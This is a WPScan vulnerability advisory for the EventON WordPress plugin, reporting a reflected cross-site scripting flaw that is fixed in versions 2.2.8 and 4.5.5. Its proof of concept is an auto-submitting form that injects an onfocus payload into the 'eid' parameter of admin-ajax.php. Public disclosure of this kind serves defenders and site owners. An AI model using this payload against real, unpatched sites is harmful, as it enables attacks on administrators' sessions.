WordPress Plugin Vulnerabilities
EventON (Free < 2.2.8, Premium < 4.5.5) - Reflected XSS
Description
The plugins do not properly sanitise and escape a parameter before outputting it back in pages, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Proof of Concept
Make a logged in admin open a page with the code below
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="eventon_select_virtual_moderator" />
<input type="hidden" name="eid" value="'autofocus onfocus=alert`XSS` a=b" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Affects Plugins
Fixed in 4.5.5
Fixed in 2.2.8 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
Miscellaneous
Original Researcher
Erwan LR (WPScan)
Submitter
Erwan LR (WPScan)
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2024-01-10 (about 4 months ago)
Added
2024-01-10 (about 4 months ago)
Last Updated
2024-01-10 (about 4 months ago)
WPScan 